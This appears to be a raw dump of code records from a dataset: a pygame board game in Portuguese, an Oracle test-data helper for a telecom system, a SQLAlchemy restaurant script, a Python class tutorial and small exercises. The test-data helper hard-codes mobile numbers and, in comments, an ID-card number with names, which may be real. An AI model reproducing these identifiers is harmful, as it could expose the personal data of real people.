pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n mouse = pygame.mouse.get_pos()\n if event.button == pygame.BUTTON_LEFT and 260 > mouse[0] > 60 and 200 > mouse[1] > 150:\n menu = False\n escolha_modo = True\n if event.button == pygame.BUTTON_LEFT and 260 > mouse[0] > 60 and 300 > mouse[1] > 250:\n janela.blit(mens_menu, (250, 200))\n if event.button == pygame.BUTTON_LEFT and 260 > mouse[0] > 60 and 400 > mouse[1] > 350:\n janela.blit(mens_menu, (250, 200))\n if event.button == pygame.BUTTON_LEFT and 260 > mouse[0] > 60 and 500 > mouse[1] > 450:\n pygame.quit()\n\n pygame.display.flip()\n\n while escolha_modo:\n janela.blit(fundo_menu, (0, 0))\n modos_jogo()\n menu_txt()\n escolha_txt()\n mouse = pygame.mouse.get_pos()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == pygame.BUTTON_LEFT and 290 > mouse[0] > 90 and 350 > mouse[1] > 300:\n escolha_modo = False\n modo_infantil = True\n regra1 = True\n elif event.button == pygame.BUTTON_LEFT and 520 > mouse[0] > 320 and 350 > mouse[1] > 300:\n escolha_modo = False\n modo_adulto = True\n regra1 = True\n\n pygame.display.update()\n\n while modo_infantil:\n\n janela.blit(mutar, (520, 10))\n musica_infantil = mixer.music.load('../audio/signal_8bit.wav')\n mixer.music.play(-1)\n\n\n while regra1:\n janela.blit(fundo_infantil, (0, 0))\n pygame.draw.rect(janela, (255, 0, 0), (253, dado_y, 50, 50))\n dado_regra()\n regra_infantil_1()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra1 = False\n regra2 = True\n\n pygame.display.update()\n\n while regra2:\n janela.blit(fundo_infantil, (0, 0))\n dado_regra()\n pygame.draw.rect(janela, (255, 0, 0), (carteira_x[1], carteira_y[1], 127, 90))\n carteira_azul()\n regra_infantil_2()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra2 = False\n regra3 = True\n\n pygame.display.update()\n\n while regra3:\n janela.blit(fundo_infantil, (0, 0))\n dado_regra()\n carteira_azul()\n regra_infantil_3()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra3 = False\n regra4 = True\n\n pygame.display.update()\n\n while regra4:\n janela.blit(fundo_infantil, (0, 0))\n dado_regra()\n carteira_azul()\n regra_infantil_4()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra4 = False\n regra5 = True\n\n pygame.display.update()\n\n while regra5:\n janela.blit(fundo_infantil, (0, 0))\n dado_regra()\n carteira_azul()\n regra_infantil_5()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra5 = False\n regra6 = True\n\n pygame.display.update()\n\n while regra6:\n janela.blit(fundo_infantil, (0, 0))\n dado_regra()\n carteira_azul()\n placas()\n regra_infantil_6()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra6 = False\n sorteio = True\n\n while sorteio:\n\n janela.blit(fundo_infantil, (0, 0))\n mens_txt_sort_inf()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n print('O primeiro a jogar será o: {}! Aperte espaço para jogar o dado.'.format(escolha))\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_SPACE:\n sorteio = False\n jogo_infantil = True\n\n pygame.display.flip()\n\n\n\n while jogo_infantil:\n\n janela.blit(fundo_infantil, (0, 0))\n carro_jog_am()\n carro_jog_az()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE and escolha == 'Amarelo':\n dado = random.randint(1, 6)\n ponteiro_am += dado\n dado_am_vez = pygame.image.load(dado_am[dado - 1])\n janela.blit(dado_am_vez, (dado_x, dado_y))\n pygame.display.update()\n status_casa = mens_pos[ponteiro_am]\n if dado == 1:\n print('Você andou uma casa!')\n else:\n print('Você andou {} casas!'.format(casas[dado - 1]))\n\n if 'Buraco!' in status_casa:\n print('Você caiu no buraco! Vez do Azul.')\n escolha = 'Azul'\n else:\n print(mens_pos[ponteiro_am])\n resposta = input('Digite aqui a resposta:')\n resposta = resposta.title()\n if resposta in resp_pos[ponteiro_am]:\n prox_part = print('Você acertou! Jogue novamente.')\n escolha = 'Amarelo'\n else:\n pontos_am += 1\n print('Você errou e agora tem {} pontos na carteira! Vez do Azul.'.format(pontos_am))\n escolha = 'Azul'\n elif event.key == pygame.K_SPACE and escolha == 'Azul':\n dado = random.randint(1, 6)\n ponteiro_az += dado\n dado_az_vez = pygame.image.load(dado_az[dado - 1])\n janela.blit(dado_az_vez, (dado_x, dado_y))\n pygame.display.flip()\n status_casa = mens_pos[ponteiro_az]\n if dado == 1:\n print('Você andou uma casa!')\n else:\n print('Você andou {} casas!'.format(casas[dado - 1]))\n if 'Buraco' in status_casa:\n print('Você caiu no buraco! Vez do Amarelo.')\n escolha = 'Amarelo'\n else:\n print(mens_pos[ponteiro_az])\n resposta = input('Digite aqui a resposta:')\n resposta = resposta.title()\n if resposta in resp_pos[ponteiro_az]:\n print('Você acertou!')\n escolha = 'Azul'\n else:\n pontos_az += 1\n print('Você errou e agora tem {} pontos na carteira! Vez do Amarelo.'.format(pontos_az))\n escolha = 'Amarelo'\n\n pygame.display.flip()\n\n while modo_adulto:\n\n janela.blit(fundo_adulto, (0, 0))\n musica_adulto = mixer.music.load('../audio/whatislove_8bit.wav')\n mixer.music.play(-1)\n\n while regra1:\n janela.blit(fundo_adulto, (0, 0))\n pygame.draw.rect(janela, (255, 0, 0), (253, dado_y, 50, 50))\n dado_regra()\n regra_adulto_1()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra1 = False\n regra2 = True\n\n pygame.display.flip()\n\n while regra2:\n janela.blit(fundo_adulto, (0, 0))\n dado_regra()\n pygame.draw.rect(janela, (255, 0, 0), (carteira_x[1], carteira_y[1], 127, 90))\n carteira_azul()\n regra_adulto_2()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra2 = False\n regra3 = True\n\n pygame.display.flip()\n\n while regra3:\n janela.blit(fundo_adulto, (0, 0))\n dado_regra()\n carteira_azul()\n regra_adulto_3()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra3 = False\n regra4 = True\n\n pygame.display.flip()\n\n while regra4:\n janela.blit(fundo_adulto, (0, 0))\n dado_regra()\n carteira_azul()\n regra_adulto_4()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra4 = False\n regra5 = True\n\n pygame.display.flip()\n\n while regra5:\n janela.blit(fundo_adulto, (0, 0))\n dado_regra()\n carteira_azul()\n regra_adulto_5()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra5 = False\n regra6 = True\n\n pygame.display.flip()\n\n while regra6:\n janela.blit(fundo_adulto, (0, 0))\n dado_regra()\n carteira_azul()\n regra_adulto_6()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n regra6 = False\n sorteio = True\n\n pygame.display.flip()\n\n while sorteio:\n\n janela.blit(fundo_adulto, (0, 0))\n mens_txt_sort_ad()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n print('O primeiro a jogar será o: {}! Aperte espaço para jogar o dado.'.format(escolha))\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_SPACE:\n sorteio = False\n jogo_adulto = True\n\n while jogo_adulto:\n\n\n pygame.display.flip()\n","sub_path":"Protótipo/cod/protótipo.py","file_name":"protótipo.py","file_ext":"py","file_size_in_byte":31481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"420873765","text":"import os,time\nfrom Base.Mylog import LogManager\nfrom Base.OracleOper import MyOracle\nfrom Base import ReadConfig\nfrom Common.function import retDigitListFromStr,getDigitFromStr,isNotBlank,isEmpty\nfrom Common.dealParas import convert_to_diclistUpper,capital_to_upper\nfrom DataMap import DataMap\nfrom Data.DataMgnt.GenTestData import GenTestData as Gen\nfrom Common.TestAsserts import Assertion as Assert\nfrom Common.dealParas import ConvertParas\n# from Check.DataCheck import DataCheck as DC\nimport datetime\nimport json\n\nlogger = LogManager('DataOper').get_logger_and_add_handlers(1,is_add_stream_handler=True, log_path=ReadConfig.log_path, log_filename=time.strftime(\"%Y-%m-%d\")+'.log' )\nos.environ['NLS_LANG'] = 'SIMPLIFIED CHINESE_CHINA.UTF8'\nrc = ReadConfig.ReadConfig(\"ngboss_config.ini\")\nora = MyOracle()\n\nclass DataOper(DataMap):\n '''从Oracle获取数据'''\n def getSmsContent(self,accessNum):\n '''\n 根据accessNum从数据库中提取短信内容\n :param accessNum:传入手机号码\n :return:SmsContentList 短信内容列表\n '''\n smsContent = self.qryDataMapExcatByCond(tabName='TI_O_SMS',sqlref='SEL_BY_SERIAL',cond=accessNum)\n logger.info('获取的短信内容:{}'.format(smsContent))\n # Assert().assertTrue(len(smsContent)>0,msg='没有查询到短信内容')\n if isinstance(smsContent,dict):\n logger.info('只有一条')\n sms = smsContent['NOTICE_CONTENT']\n logger.info('sms内容:{}'.format(sms))\n elif isinstance(smsContent,list):\n sms =[]\n for i in range(len(smsContent)):\n SmsContent = smsContent[i]['NOTICE_CONTENT']\n logger.info('短信内容是:{}'.format(SmsContent))\n sms.append(SmsContent)\n return sms\n\n def getSmsCode(self,accessNum):\n '''\n 获取短信验证码\n :param accessNum: 手机号码\n :return:SmsCode 验证码默认返回最新的一个\n '''\n SmsContent = self.getSmsContent(accessNum)\n if len(SmsContent) == 0:\n logger.info('没有获取到短信内容,获取验证码失败!')\n elif isinstance(SmsContent,str):\n SmsCode = getDigitFromStr(SmsContent)\n elif isinstance(SmsContent,list):\n SmsCode = []\n for i in range(len(SmsContent)):\n if '验证码' in SmsContent[i]:\n logger.info(SmsContent[i])\n SmsCodeList = retDigitListFromStr(SmsContent[i])\n print('========',SmsCodeList)\n for k in range(len(SmsCodeList)):\n if len(SmsCodeList[k]) == 6:\n smsCode = SmsCodeList[k]\n SmsCode.append(smsCode)\n return SmsCode\n\n def getRealNameInfoBySerialNum(self,serialNum):\n '''\n 通过serialNum查询实名制信息\n :param serialNum: 手机号码\n :return:\n '''\n sqlParams = self.retDicParserCode(tabName='TF_F_REALNAME_INFO',sqlref='SelBySerialNum')\n sql = sqlParams['SQL'] %serialNum\n route = sqlParams['ROUTE']\n print(sql)\n print(route)\n return self.select(sql=sql,route='cp')\n\n def getCustRelaInfoBySerialNum(self,serialNum):\n '''\n 通过serialNum查询实名制信息\n :param serialNum: 手机号码\n :return:\n '''\n userInfo = self.qryDataMapExcatByCond(tabName='TF_F_USER',sqlref='SEL_UserBySerialNum',cond=serialNum)\n logger.info('查询出来都用户信息:{}'.format(userInfo))\n Assert().assertFalse(isEmpty(userInfo),msg='查询的用户信息返回空')\n custRelaInfo = self.qryDataMapExcatByCond(tabName='TF_F_CUST_PERSON_RELA',sqlref='SEL_BY_CUSTID',cond=userInfo['CUST_ID'])\n return custRelaInfo\n\n\n def updateRealNameInfoNew(self,accessNum):\n '''\n 根据手机号码更新实名制信息-新增场景:如开户等\n :param assessNum: 手机号码\n :return:\n '''\n IdCard = Gen().Create_Idcard() #随机gen一个身份证号码\n birthday = IdCard[6:10] + '-' + IdCard[10:12] + '-' + IdCard[12:14]\n cust_name = Gen().create_CustName() #随机gen一个客户姓名\n # sysDate = self.getSysDate(route='cp')\n colValue = {'cust_name':cust_name,'pspt_id':IdCard,'verif_result':'1','pspt_addr':'湖南长沙市芙蓉区车站北路459号','serial_number':accessNum,\n 'sex':'1','nation':'1','birthday':birthday,'issuing_authority':'长沙市芙蓉区','cert_validdate':'2013-11-12',\n 'cert_expdate':'2033-11-12','state':'0','nationality':'1','pass_pspt':'123456789','pspt_issuesnum':'1'\n }\n # realNameInfo = self.qryDataMapExcatByCond(tabName='TF_F_REALNAME_INFO',sqlref='SEL_TRANID_BY_SERIAL',cond=accessNum)\n realNameInfo = self.qryDataMapExcatByCond(tabName='TF_F_REALNAME_INFO',sqlref='SEL_MIN_1',cond=None)\n logger.info('====最近实名制认证信息:{}'.format(realNameInfo))\n Assert().assertTrue(isNotBlank(realNameInfo),msg='查询结果为空')\n dt_cond = {'TRANSACTION_ID':realNameInfo['TRANSACTION_ID']}\n self.updateData(route='cp',table='tf_f_realname_info',dt_update=colValue,dt_condition=dt_cond)\n\n def updateRealNameInfoExist(self, accessNum):\n '''\n 根据手机号码更新实名制信息-存量场景:如补卡、过户等\n :param custAddr: 客户地址\n :param assessNum: 手机号码\n :return:\n '''\n IdCard = self.getCustRelaInfoBySerialNum(accessNum)['PSPT_ID']\n # birthday = IdCard[6:10] + '-' + IdCard[10:12] + '-' + IdCard[12:14]\n birthday = '1994-05-06' #因湖南证件号码RELA表模糊化了,这里先写死\n cust_name = self.getCustRelaInfoBySerialNum(accessNum)['CUST_NAME'] # 取存量客户名称\n pspt_addr = self.getCustRelaInfoBySerialNum(accessNum)['PSPT_ADDR'] # 取存量证件地址\n colValue = {'cust_name': cust_name, 'pspt_id': IdCard, 'verif_result': '1', 'pspt_addr':pspt_addr ,\n 'sex': '1', 'nation': '1', 'birthday': birthday, 'issuing_authority': '长沙市芙蓉区',\n 'cert_validdate': '2013-11-12',\n 'cert_expdate': '2033-11-12', 'state': '0', 'nationality': '1', 'pass_pspt': '123456789',\n 'pspt_issuesnum': '1'\n }\n realNameInfo = self.qryDataMapExcatByCond(tabName='TF_F_REALNAME_INFO',sqlref='SEL_MIN_1',cond=None)\n logger.info('====最近实名制认证信息:{}'.format(realNameInfo))\n # Assert().assertTrue(len(realNameInfo)>0,msg='查询结果为空')\n Assert().assertTrue(isNotBlank(realNameInfo),msg='查询结果为空')\n dt_cond = {'TRANSACTION_ID':realNameInfo['TRANSACTION_ID']}\n self.updateData(route='cp', table='tf_f_realname_info', dt_update=colValue, dt_condition=dt_cond)\n\n def getCasePara(self,sceneCode):\n '''\n 根据场景编码获取案例执行参数\n 为了实现TestCase执行时使用DDT驱动,这里使用retDataMapListByCond,将结果务必转换成list\n :param sceneCode: 场景编码\n :return: list列表\n '''\n #为了实现TestCase执行时使用DDT驱动,这里使用retDataMapListByCond,将结果务必转换成list\n paras = self.retDataMapListByCond(tabName='AUTOTEST_CASE',sqlref='SEL_BY_SCENE_CODE',cond=sceneCode)\n return ConvertParas(paras)\n\n\n def getSysMenu(self,menuId):\n '''\n 根据传入的menuId 获取菜单配置\n :param menuId: 菜单编码\n :return:\n '''\n paras = capital_to_upper(self.qryDataMapExcatByCond(tabName='AUTOTEST_MENU',sqlref='SEL_BY_FUNCID',cond=menuId))\n # logger.info('传入的Paras参数:{}'.format(paras))\n # logger.info('传入的Paras的参数类型:{}'.format(type(paras)))\n Assert().assertIsInstance(paras,dict,msg='获取的菜单配置不是字典,请检查配置')\n Assert().assertTrue(len(paras)>0,msg='获取菜单配置为空')\n Assert().assertIsNotNone(paras['MENU_CATA'],msg='菜单目录不能为空!')\n Assert().assertIsNotNone(paras['PARENT_FUNC_ID'],msg='父菜单不能为空!')\n Assert().assertIsNotNone(paras['FUNC_ID'],msg='菜单编码不能为空!')\n Assert().assertIsNotNone(paras['DLL_PATH'],msg='菜单路径不允许为空!')\n Assert().assertIsNotNone(paras['MODULE'],msg='所属模块不能为空!')\n return paras\n\n def getSysMenuByParentFuncId(self,parentFuncId):\n '''\n 根据传入的menuId 获取菜单配置\n :param parentFuncId: 父菜单编码\n :return:\n '''\n paras = self.qryDataMapExcatByCond(tabName='AUTOTEST_MENU',sqlref='SEL_BY_PARENTFUNCID',cond=parentFuncId)\n # logger.info('传入的Paras参数:{}'.format(paras))\n # logger.info('传入的Paras的参数类型:{}'.format(type(paras)))\n Assert().assertIsInstance(paras,list,msg='获取的菜单配置不是列表,请检查配置!')\n Assert().assertTrue(len(paras) > 0, msg='获取菜单配置为空!')\n return paras\n\n def getCoreMenuByCataId(self,cataId):\n '''\n 根据传入的cataId菜单目录 获取重点菜单配置【目前只包括个人业务和家庭业务】\n :param cataId: 父菜单编码\n :return:\n '''\n paras = self.qryDataMapExcatByCond(tabName='AUTOTEST_MENU',sqlref='SEL_BY_CATAID',cond=cataId)\n Assert().assertIsInstance(paras,list,msg='获取的菜单配置不是列表,请检查配置!')\n Assert().assertTrue(len(paras) > 0, msg='获取菜单配置为空!')\n return paras\n\nif __name__ == '__main__':\n test = DataOper()\n # test.updateRealNameInfoNew(accessNum='15274912179')\n test.updateRealNameInfoExist(accessNum='15274912179')\n # # params = test.getCasePara('CrtUsVPMN')\n # print(params)\n # print(type(params))\n\n\n # data =UpdateOraData()\n # sqlParams = {'pspt_id':'630121199311304817','cust_name':'朱丽华','verif_result':'1','pass_pspt':'123456789'}\n # sql = data.updateRealNameInfoBySerialNum(assessNum='15297156027',IdCard='630121199311304817',custName='王成林')\n # print(sql)\n # sel = SelectOraData()\n # result = sel.getSmsCode(accessNum='15809705551')\n # print('短信验证码:',result)\n # data.updateTabColValue(thin='cp',tabName='tf_f_realname_info',sqlParams=sqlParams,cond=\"SERIAL_NUMBER='15297156027'\")\n # print (result)\n # result = test.updateRealNameInfoBySerialNum(accessNum='13639750374')\n # result = test.getSysMenu(menuId='crm9115')\n # result = test.getCoreMenuByCataId(cataId='crm991A')\n # print(result)\n # print(len(result))\n\n # result = test.updateRealNameInfoExist(accessNum='13907491805')\n # # result = test.getSmsCode(accessNum='13897492180')\n # print(result)\n # print(type(result))\n\n\n # result = json.loads(result)\n\n # print(result)\n # print(type(result))\n\n","sub_path":"Data/DataMgnt/DataOper.py","file_name":"DataOper.py","file_ext":"py","file_size_in_byte":11123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"332463037","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom database_setup import Base, Restaurant, MenuItem\n\nengine = create_engine('sqlite:///restaurantmenu.db')\n\nBase.metadata.bind = engine\nDBSession = sessionmaker(bind = engine)\n\n#------------------------------------------CREATE------------------------------\nsession = DBSession()\nmyFirstRestaurant = Restaurant(name = \"Pizza Palace\")\nsession.add(myFirstRestaurant)\nsession.commit()\n\n\ncheesepizza = MenuItem(name = \"Cheese Pizza\", description = \"Made with natural ingredients\", course = \"Entree\", price = \"$8.99\", restaurant = myFirstRestaurant)\nsession.add(cheesepizza)\n\n\n#------------------------------------------READ------------------------------\nrestaurants = session.query(Restaurant).all()\nitems = session.query(MenuItem).all()\n\nfor res in restaurants:\n\tfor it in items:\n\t\tprint(str(res.name)+\" - \"+str(it.name))\n\n\n\n\n#------------------------------------------UPDATE------------------------------\nveggieBurgers = session.query(MenuItem).filter_by(name = 'Veggie Burger')\nfor veggie in veggieBurgers:\n\tprint(str(veggie.id) + \" \" + veggie.price + \" \" + veggie.restaurant.name + \" \" + \"\\n\")\n\nurbanVeggieBurger = session.query(MenuItem).filter_by(id = 9).one()\n#print(urbanVeggieBurger.price +\" \"+urbanVeggieBurger.name+\" \"+ str(urbanVeggieBurger.id))\n\n\nurbanVeggieBurger.price = \"$2.99\"\nsession.add(urbanVeggieBurger)\nsession.commit()\n\nveggieBurgers = session.query(MenuItem).filter_by(name = 'Veggie Burger')\nfor veggie in veggieBurgers:\n\tprint(str(veggie.id) + \" \" + veggie.price + \" \" + veggie.restaurant.name + \" \" + \"\\n\")\n\n\n#######----------Hago update de precio de todas las Veggie Burgers\nfor veggie in veggieBurgers:\n\tif veggie.price != '$2.99':\n\t\tveggie.price = '$2.99'\n\t\tsession.add(veggie)\n\t\tsession.commit()\n\nveggieBurgers = session.query(MenuItem).filter_by(name = 'Veggie Burger')\nfor veggie in veggieBurgers:\n\tprint(str(veggie.id) + \" \" + veggie.price + \" \" + veggie.restaurant.name + \" \" + \"\\n\")\n\n\n\n\n\n\n#------------------------------------------DELETE------------------------------\n#spinach = session.query(MenuItem).filter_by(name = 'Spinach Ice Cream').one()\nprint()\n#print(spinach.restaurant.name)\n\n#session.delete(spinach)\nsession.commit()\n\n#spinach = session.query(MenuItem).filter_by(name = 'Spinach Ice Cream').one()","sub_path":"add_restaurant_menu.py","file_name":"add_restaurant_menu.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"178700264","text":"from random import randint\r\n\r\n# Recall that every class definition will always begin with the \"class\" keyword.\r\n# This lets Python know that any keyword beginning with \"Car\" will be a custom\r\n# data type that the programmer created. To create an object using this custom\r\n# data type, it will work much like a function, i.e. Car(make, model, year, transmission)\r\nclass Car:\r\n\r\n\t# This part is not always entirely required, but it is always nice to have,\r\n\t# especially if you wish for others to use your class. This is known as a\r\n\t# documentation string (often shortened to simply docstring) and if one is\r\n\t# decided to be included in a class definition, ensure that it is descriptive\r\n\t# enough for anyone to know what the data type will accomplish and how it\r\n\t# can be used as well\r\n\t\"\"\"Contains information regarding vehicles such as their make, model, year\r\n\tand transmission.\\n\r\n\tThe make, model, and transmission are entered as strings. The year is entered\r\n\tas an integer.\"\"\"\r\n\r\n\t# This is a special function found within the Car class. These kinds of special\r\n\t# functions are denoted by the double underscore characters ('_') on both sides\r\n\t# of the name of the function. The reason why these functions are considered\r\n\t# special is because you do not have to explicitly call them (in other words,\r\n\t# you can simply do the following call: Car(make, model, year, transmission)\r\n\t# versus Car.__init__(make, model, year, transmission). Python knows what to\r\n\t# do with these special functions)\r\n\tdef __init__(self, make, model, year, transmission):\r\n\t\tself.make = make\r\n\t\tself.model = model\r\n\t\tself.year = year\r\n\t\tself.transmission = transmission\r\n\r\n\t# This is another special function that returns the information contained within\r\n\t# a created object as a string. Remember, you do not have to explicitly call\r\n\t# the function itself (i.e. print(Car.__str__())). You can just simply do\r\n\t# print(Car), and the information will be printed out!\r\n\tdef __str__(self):\r\n\t\treturn \"Make: %s, Model: %s, Year: %d, Transmission: %s\" % (self.make, self.model, self.year, self.transmission)\r\n\r\n\t# Note that this is NOT a special function. This is just a regular function.\r\n\t# So, for this function you will have to explicitly call the function, i.e.\r\n\t# Cars.gears(4)\r\n\tdef gears(self, num_gears):\r\n\t\tif self.transmission == \"M\":\r\n\t\t\tself.num_gears = num_gears\r\n\t\telse:\r\n\t\t\tself.num_gears = 0\r\n\r\n# Here are some examples to demonstrate what was discussed here:\r\n\r\n# This is to obtain the docstring\r\nprint(Car.__doc__)\r\n\r\n# Printing a newline\r\nprint()\r\n\r\n# Creating a car object\r\nfave_car = Car(\"DeLorean\", \"DMC-12\", 1981, \"M\")\r\n\r\n# Printing out the information of the car\r\nprint(fave_car)\r\n\r\n# Printing a newline\r\nprint()\r\n\r\n# Will call the gears() function to set the number of gears to the car if it is\r\n# a manual\r\nfave_car.gears(7)\r\n\r\n# Creating a list of four cars. Note that I do not have to create individual variable\r\n# names for each vehicle as a list is an ordered sequence of elements. As an\r\n# alternative, a dictionary can be used to assign each vehicle a unique key.\r\ncar_list = [Car(\"Ford\", \"Mustang\", 2019, \"A\"), Car(\"Mazda\", \"3\", 2015, \"M\"), Car(\"Chevrolet\", \"Camaro\", 1968, \"M\"), Car(\"Dodge\", \"Charger\", 1997, \"M\")]\r\n\r\n# Using a for loop to print out all of the information of the vehicles\r\nfor cars in car_list:\r\n\tprint(cars)\r\n\r\n# Printing a newline\r\nprint()\r\n\r\nclass Student:\r\n\r\n\t\"\"\"To store information regarding students in a high school.\\n\r\n\tInformation required is the student's ID, their grade level, their expected\r\n\tgraduation year, and their GPA as well.\"\"\"\r\n\r\n\tdef __init__(self, stu_ID, grade, grad_year, GPA):\r\n\t\tself.stu_ID = stu_ID\r\n\t\tself.grade = grade\r\n\t\tself.grad_year = grad_year\r\n\t\tself.GPA = GPA\r\n\r\n\tdef __str__(self):\r\n\t\treturn \"Student ID: %d, Student Grade: %d, Expected Graduation: %d, GPA: %.1f\" % (self.stu_ID, self.grade, self.grad_year, self.GPA)\r\n\r\n# Created a list filled with the information of three students. To create UNIQUE\r\n# key:value pairings, a dictionary may be used.\r\nstudent_list = [Student(12345, 10, 2019, 3.5), Student(19839, 9, 2020, 3.0), Student(29178, 10, 2019, 4.0)]\r\n\r\n# Using a for loop to print out the information of the students contained in the\r\n# list\r\nfor student in student_list:\r\n\tprint(student)\r\n\r\n# Printing a newline\r\nprint()\r\n\r\nclass Die:\r\n\r\n\t\"\"\"A simple class definition that contains the number of sides of a die. Also\r\n\tincludes a roll() function that returns a random integer from 1 to the number\r\n\tof sides of the die.\"\"\"\r\n\r\n\tdef __init__(self, sides):\r\n\t\tself.sides = sides\r\n\r\n\tdef roll(self):\r\n\t\treturn randint(1, self.sides)\r\n\r\n# Creating a 6-sided die\r\nd6 = Die(6)\r\n\r\n# First, an empty list will be created. Then, in the following for loop, it will\r\n# be populated with 6 0's\r\ndice_rolls = []\r\n\r\nfor i in range(6):\r\n\tdice_rolls.append(0)\r\n\r\n# Will begin rolling the d6 and keep track of the value it rolled on using the\r\n# list. Recall that the indexing of a list always begins from 0 even though it is\r\n# the very first cell it appears in. Thus, if the d6 were to roll a 1, to correctly\r\n# keep track of the number of 1's are rolled, a 1 must be subtracted in the indexing\r\n# to ensure the correct value will be entered. In addition, this will also avoid\r\n# the more serious issue of a segmentation fault where we are overstepping the\r\n# bounds in memory for the list. So, if a 6 were rolled, the index will be 6,\r\n# even though the max index of our list is 5. Thus, subtracting a 1 will ensure\r\n# that no segfaults occur.\r\nfor i in range(10):\r\n\tdice_rolls[d6.roll() - 1] += 1\r\n\r\n# Printing the contents of the list, demonstrating the number of rolls done\r\nprint(\"Contents of the list: \" + str(dice_rolls))\r\n\r\n# Clearing out the list\r\nfor i in range(len(dice_rolls)):\r\n\tdice_rolls[i] = 0\r\n\r\n# Printing a newline\r\nprint()\r\n\r\n# Below is some additional code to really show that the above process works and\r\n# no tom-follery is happening\r\nfor i in range(10):\r\n\troll = d6.roll()\r\n\tprint(\"Value rolled: \" + str(roll))\r\n\tdice_rolls[roll - 1] += 1\r\n\r\nprint(\"\\nContents of the list: \" + str(dice_rolls))\r\n","sub_path":"2018-2019/Dice-&-Dragons/part_one_soln.py","file_name":"part_one_soln.py","file_ext":"py","file_size_in_byte":6092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"241121534","text":"#\tProject Euler - Problem Two.\n#\tAuthor: Ronald Zielaznicki\n#\tProblem: By considering the terms in the Fibonacci sequence whose \n#\tvalues do not exceed four million, find the sum of the even-valued \n#\tterms.\n\ndef sumOfEvenFibs(limit):\n\tsumReturn = 0\n\ti = 1\n\tj = 0\n\t\n\twhile(i < limit): \n\t if(i % 2 == 0):\n\t sumReturn += i\n\t i += j\n\t j = i -j\n\t\n\treturn sumReturn\n\nprint(\"Answer: \", sumOfEvenFibs(4000000))","sub_path":"ProblemTwo/ProblemTwo.py","file_name":"ProblemTwo.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"79309050","text":"#import main\n# def fizzbuzz(endpoint):\n# '''This fizzbuzz function'''\n# for i in range(1, endpoint+1):\n# if i%15==0:\n# print(\"FIZZBUZZ\")\n# elif i % 5 == 0:\n# print(\"BUZZ\")\n# elif i % 3 == 0:\n# print(\"FIZZ\")\n# else:\n# print(i)\n# def main():\n# fizzbuzz(100)\n# if __name__ == \"__main__\":\n# main()\n\n#################################\nimport random\nimport math\n# def fibo(num):\n# a, b, c = 0, 1, 1\n# print(f\"{0:>30,}\")\n# for i in range(num):\n# print(f\"{c:>30,}\")\n# c = a + b\n# a=b\n# b=c\n###############################################\n\n\n\n\n\ndef main():\n fibo(100)\n\nif __name__ == \"__main__\":\n main()\n\n\n\n###########################################\ndef min(x, y, z):\n if x= dataSet.shape[1] - 1:\n return dataSet\n for vec in dataSet:\n if vec[axis] == value:\n tmp = concatenate((vec[:axis], vec[axis+1:]))\n subDataSet.append(tmp)\n return array(subDataSet)\n \n def chooseBestFeatureToSplit(self, dataSet):\n '''choose the best feature to split data set'''\n m = len(dataSet[0]) - 1\n shannonEnt = self.calcShannonEnt(dataSet)\n bestIndex = -1\n bestInfoGain = 0\n for i in range(m):\n values = [vec[i] for vec in dataSet]\n uniqValues = set(values)\n newShannonEnt = 0\n for value in uniqValues:\n subDataSet = self.splitDataSet(dataSet, i, value)\n p = len(subDataSet)*1.0/len(dataSet)\n newShannonEnt += p * self.calcShannonEnt(subDataSet)\n infoGain = 